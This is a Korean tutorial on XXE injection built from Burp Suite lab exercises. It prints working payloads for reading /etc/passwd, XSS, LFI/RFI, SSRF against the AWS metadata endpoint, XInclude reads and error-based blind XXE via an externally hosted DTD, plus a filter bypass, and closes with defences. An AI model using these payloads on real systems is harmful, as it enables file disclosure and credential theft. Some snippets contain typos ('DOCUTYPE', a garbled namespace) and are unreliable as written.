XXE External Entities
XXE란?
XML 데이터를 처리하는 과정에 공격자가 개입하여 외부 엔티티를 주입시키는 공격입니다. (XML이란?)
웹 애플리케이션에서 브라우저와 서버 간에 데이터 전송을 위해 XML 형식을 사용하는 경우에 발생할 수 있으며, 다음과 같은 공격 방법이 존재하며 해당 방법들을 Burp suite에서 실습해 본 내용과 함께 소개해보도록 하겠습니다.
- XXE 파일 접근
- 다른 취약점과 XXE 연계
- 문서 제어 불가능 시 XInclude
- 에러 메시지에 데이터를 포함시켜 출력
XXE 파일 접근
XML 문서 요청에 외부 엔티티를 추가하여 /etc/passwd 파일에 접근하여 파일의 내용을 출력할 수 있습니다.
위의 실습 환경에서 실습을 해보았으며
해당 사이트에는 Check stock 버튼을 눌러 재고를 확인할 수 있는 기능이 구현되어 있습니다. Burp suite를 통해 이 때의 요청과 응답을 확인해 보니
위와 같은 XML 문서가 포함된 요청이 가는 것을 확인할 수 있었습니다. 이때 productID의 내용을 숫자가 아닌 문자열로 입력하였을 때
이렇게 잘못된 제품 아이디라고 뜨면서 입력한 내용이 출력되는 것을 확인할 수 있었습니다. 이제 여기에 아래와 같이 외부 엔티티로 /etc/passwd 파일의 내용을 참조하여 주면
<!DOCUTYPE test [
<!ENTITY XXE SYSTEM "file:///etc/passwd">
<productID>&XXE;</productID>
/etc/passwd 파일에 접근하여 내용을 출력하는 것을 확인할 수 있었습니다.
다른 취약점과 XXE 연계
XXE를 활용하여 XSS, LFI, RFI, SSRF 등과 같은 취약점을 수행할 수 있습니다.
XSS
XML 문서를 통해 글을 불러올 때 해당 문서에 아래와 같은 스크립트 코드를 입력하면 XSS 공격을 수행할 수 있게 됩니다. 해당 방법은 외부 엔티티를 활용하는 방법은 아니지만 XML 문서를 조작하여 수행할 수 있기 때문에 함께 소개해 보았습니다.
<content>
Hello<![CDATA[<]]>script<![CDATA[>]]>alert('XSS')<![CDATA[<]]>/script<![CDATA[>]]>
</content>
LFI / RFI
XML 외부 엔티티에 업로드된 파일의 경로를 통해 업로드한 웹쉘 코드나 /etc/passwd 에 접근할 수 있는 LFI를 수행할 수 있으며, 악성 파일이 업로드된 외부의 URL을 포함시켜 RFI를 수행시킬 수도 있습니다.
<!-- LFI -->
<!DOCUTYPE test [ <!ENTITY LFI SYSTEM "/../../../../etc/passwd"> ]>
<content>
&LFI;
</content>
<!-- RFI -->
<!DOCUTYPE test [ <!ENTITY RFI SYSTEM "http://127.0.0.1:8888/test.php"> ]>
<content>
&RFI;
</content>
SSRF
XML 외부 엔티티에 내부 서비스의 URL을 포함시켜 SSRF 공격을 수행할 수 있습니다.
<!DOCTYPE test [ <!ENTITY SSRF SYSTEM "http://internal.vulnerable-website.com/"> ]>
<content>
&SSRF;
</content>
XXE - SSRF 실습
Burp sutie에서 제공한 실습 환경에서 XXE를 통해 SSRF 공격을 실습해 보았습니다.
해당 문제에서는 클라우드 환경을 AWS에서 제공하여 http://169.254.169.254 를 통해 인스턴스와 관련된 메타데이터 정보를 조회할 수 있다고 하기에 해당 URL을 외부 엔티티값으로 추가시켜 응답을 받아보았습니다.
이런 식으로 응답이 되는 것을 확인했고 URL에 해당 내용을 계속하여 추가해 주어
해당 키 값을 읽어올 수 있었습니다.
문서 제어 불가능 시 XInclude
XXE 주입이 가능하지만 XML 문서를 직접적으로 제어할 수 없는 상황에는 XInclude라는 기능을 사용하여 문서를 불러올 수 있습니다.
XInclude란?
XML 문서에 다른 문서를 포함하도록 하는 것으로 아래와 같은 예시를 보면
<!-- content.xml -->
<userid>Pandyo</userid>
<content>Hello World!</content>
<test xmlns:xi="http:''www.w3.org/2001/XInlcude">
<xi:include parse="xml" href="content.xml"/>
</test>
위와 같이 XInclude를 사용하기 위해 xmlns:xi 속성에 네임스페이스를 지정해 주고, xi:include 라는 요소를 통하여 포함시킬 문서와 타입을 속성으로 지정해 주어 불러오게 되면 아래와 같은 결과가 나오게 됩니다.
<test xmlns:xi="http:''www.w3.org/2001/XInlcude">
<userid>Pandyo</userid>
<content>Hello World!</content>
</test>
이러한 개념을 이용하여 다음 실습 환경에서 실습해 보았습니다.
보시는 것처럼 productID와 storeID의 값이 파라미터 값으로 post 전송되어 XML 문서를 직접적으로 제어할 수 없는 상태입니다. 따라서 앞서 언급한 XInclude를 사용하여 다음과 같은 코드를 통해 /etc/passwd의 내용을 출력시킬 수 있었습니다.
<XXE xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</XXE>
에러 메시지에 데이터를 포함시켜 출력
하지만 공격 결과가 직접적으로 노출되지 않는 경우가 있는데, 이 경우에는 XML 파서가 문서를 읽을 때 오류가 생겨 출력하는 에러 메시지를 이용하여 파일의 정보를 가져올 수 있습니다. 해당 실습 환경을 통해 실습을 해보았습니다.
앞서 사용한 방법으로 공격을 해보니 보안상의 문제로 엔티티를 사용할 수 없다고만 뜨는 것을 볼 수 있었습니다. 따라서 파라미터 엔티티라는 것을 사용하였는데
파라미터 엔티티란?
%를 이용해 선언하여 DTD에서 사용할 수 있는 엔티티로 아래와 같이 사용할 수 있습니다.
<!DOCTYPE test [
<!ENTITY % 엔티티명 SYSTEM "URL 또는 URI">
%엔티티명;
]>
문제에서 DTD를 호스팅 할 수 있는 서버가 제공된다고 하여 해당 서버로 이동하였고
이렇게 서버에서 작성한 내용을 저장하여 링크를 만들 수 있었습니다. Body 내용으로
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % evaluation "<!ENTITY % result SYSTEM 'file:///XXEtest/%file;'>">
%evaluation;
%result;
해당 내용을 넣어주었습니다. 해당 내용은 file 이라는 파라미터 엔티티를 선언하고 /etc/passwd 파일을 가져와 주었으며 그다음 선언한 evlauation 파라미터 엔티티의 값으로 result라는 파라미터 엔티티를 선언해 주어 잘못된 경로에 file 파라미터 엔티티를 참조하였습니다. 이렇게 되면 evaluation이 참조된 후 result이 참조되어 잘못된 경로식을 불러오게 됩니다. XML 파서는 이를 오류 메시지로 출력시키며 이때 /etc/passwd의 내용이 출력될 수 있습니다. (참고로 evaluation의 값으로 result를 선언할 때 %를 16진수로 표현한 이유는 XML 파서가 해당 코드를 읽는 순서를 바꾸기 위해서입니다.)
악성 DTD가 호스팅 된 서버의 URL을 가져와 파라미터 엔티티의 값으로 입력하게 되면 아래와 같이 /etc/passwd의 내용이 에러 메시지로 출력되는 것을 확인할 수 있었습니다.
SYSTEM 키워드 우회
SYSTEM 키워드는 소문자로 입력이 될 경우 사용할 수 없습니다. 따라서 대응 방안으로 SYSTEM을 소문자로 치환하는 방법이 쓰이기도 하는데 이 경우에 PUBLIC 이라는 키워드를 대신 사용하여 우회할 수 있습니다.
대응 방안
- XML 태그와 속성에 대한 화이트리스트를 생성하여 화이트리스트에 포함되지 않은 요소는 제거 및 거부
- XML Parser 설정에서 외부 엔티티 비활성화
- DTD 내부에서 외부 엔티티를 참조하지 않도록 설정
- DTD를 사용할 필요가 없는 경우에는 아예 비활성화
- XML Parser와 관련된 소프트웨어의 보안 패치를 정기적으로 적용